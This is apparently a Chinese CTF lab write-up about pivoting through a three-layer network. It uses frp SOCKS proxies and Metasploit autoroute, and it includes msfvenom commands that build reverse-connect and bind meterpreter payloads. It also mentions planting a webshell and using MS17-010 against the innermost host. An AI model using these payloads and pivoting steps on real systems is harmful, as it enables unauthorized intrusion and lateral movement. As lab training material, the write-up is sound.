前言
再一次CTF比赛中遇到了三四层穿透的靶场,当时由于没有外网,而且也不知道什么网络原因导致穿透三层的时候一直没成功。这个假期正好有时间就找了一个靶场,看看多层的穿透到底应该怎么来比较方便。
靶场选取的是CFS三层靶场,网上一搜就有,这里不再提供下载链接了。
环境搭建
网络环境
这里是三层网络环境,设置了三个vmnet:
拓扑图
攻击比较简单不再赘述,这里主要是记录下穿透的方案。我们默认拿到了每一层机器的命令执行权限。其中靶机2和靶机3是无法出网的。
穿透内网
frp
首先是一层穿透
首先我们分别上传frp工具到我们的公网vps和靶机1,然后vps中的server如下设置:
1 | # frps.ini |
后台启动
1 | nohup ./frps -c frps.ini & |
我们拿到靶机1的权限后上传frp,并进行如下设置即可穿透内网。
frcp.ini
1 | # frpc.ini |
后台启动
1 | nohup ./frpc -c frpc.ini & |
然后我们使用proxifer工具进行设置:
添加应用safari浏览器,然后访问192.168.22.128即可:
当然你也可以使用其他工具,或者直接挂一个终端代理:
1 | export all_proxy=socks5://admin:admin123@vps_ip:8608 |
现在我们就进入到了第二层,然后通过注入拿到账户密码并登录后台写入模版一句话木马。
我们通过添加代理应用antsword到proxifier工具中即可连接第二层的靶机2的木马:
下面我们需要考虑如何才能访问到第三层?其实frp是支持这样多层代理的,我们只需要把靶机1当作中继,做一个http的代理,然后在靶机2上开启sockts,具体设置如下。
首先vps上的的frp server服务不需要更改,我们需要在靶机1中同时启动frps和frpc。
其中frps.ini如下:
1 | [common] |
其中frpc-proxy.ini如下(原来的frpc.ini也可以继续启动,这样方便随时切换到一层代理):
1 | # frpc.ini |
现在我们在我们拿下的靶机2上上传frp,并设置frpc.ini:
1 | [common] |
启动靶机1的frps frpc 和靶机2的frpc 即可完成代理穿透,这时我们可以设置proxifier工具的代理如下:
safari访问成功
终端代理也可访问成功
可以看到最里面的靶机3了,但是靶机3需要ms17010攻击,在进行ms17010攻击时,代理多次断开,这里就不再展示截图了。所以如果要结合msf使用还是最好使用msf的路由(后面会详细介绍msf的路由穿透)。
frp的缺点
frp不太稳定 使用msf进行利用永恒之蓝的时候总是断开,所以下面还是介绍下msf如何穿透进入内网。
备注:frp最好后台启动 要不然终端退出即失效。frp可以启动多个,所以一层二层代理可以同时存在,只要理清楚就好,这样也方便我们随时挂一层代理去访问靶机2重新开启二层代理。
另外,frp是支持多层代理的,可以继续保持前面的frps不变,在靶机三上再次开启和靶机2一样的frps和frpc进行第三层代理。因为这里没有四层环境,也不再截图赘述。**
scokts4代理一般都是走的tcp所以这个代理完使用nmap使用-sT ,别的可能会无法扫描到端口。但是测试过程中发现sockts5是无法进行nmap的端口扫描的 还不知道是什么原因。我这里扫描端口使用的是TCP端口扫描工具,但是sockts5穿透网络进行http访问是没有问题的,而kali和攻击机(macos)使用sockts4进行nmap扫描也是没有问题的,就是需要-sT。
MSF穿透三层内网打445
这里我们不再赘述如何攻击靶机只谈论如何使用msf攻击第三层的靶机3(windows机器,445存在漏洞)
这里我们在我们的攻击机上启动msfconsole,同时生成一个反向连接的elf木马通过蚁剑上传到靶机1(即192.168.123.29/192.168.22.131)上:
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.123.221 LPORT=9987 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.elf |
然后我们的msfconsole设置监听,蚁剑执行上线:
上线后我们直接添加路由
1 | run autoroute -s 192.168.22.0/24 |
我们使用主机发现模块和端口扫描模块进行内网扫描:
1 | use auxiliary/scanner/discovery/* |
可以发现128这个ip存在多个端口,然后我们拿下128的shell。此时我们使用msfvenom进行一个正向木马的生成:
1 | msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=9002 -f elf > shell2.elf |
msfconsole开启新的监听,然后蚁剑上传并执行得到session:
现在我们在此添加路由
1 | run autoroute -s 192.168.33.0/24 |
然后经过主机发现192.168.33.33存在445,尝试一下ms17010:
这样我们就打到了第三层的靶机3
所有靶机我们都拿到了:
备注:拿到meterpreter时不要退出使用background后台挂起,否则无法继续渗透。
总结
frp单层代理确实非常稳定,但是多层代理时并不是很好用,还是推荐使用msf。msf的工具挺齐全的可以基本做到完整的内网穿透利用。当然msf也提供了sockts5的代理,当需要使用的时候可以使用msf进行sockts代理的开启,然后使用proxifier工具进行其他工具的代理使用。在测试过程中发现sockts5的代理无论是msf的还是frp的在进行nmap扫描的时候都会出问题,目前原因还未可知。
下次有时间搞明白为什么sockts5在进行nmap代理的时候无法扫描端口。无论是frp的sockts5还是msf生成的sockts5都存在这个问题。
更新补充
sockts5代理官方有说明并不能完全支持所有应用,所以sockts5支持nmap是有问题的。
另外scokts4可以支持部分扫描 仅可使用-sT参数
详情参考 https://security.stackexchange.com/questions/120708/nmap-through-proxy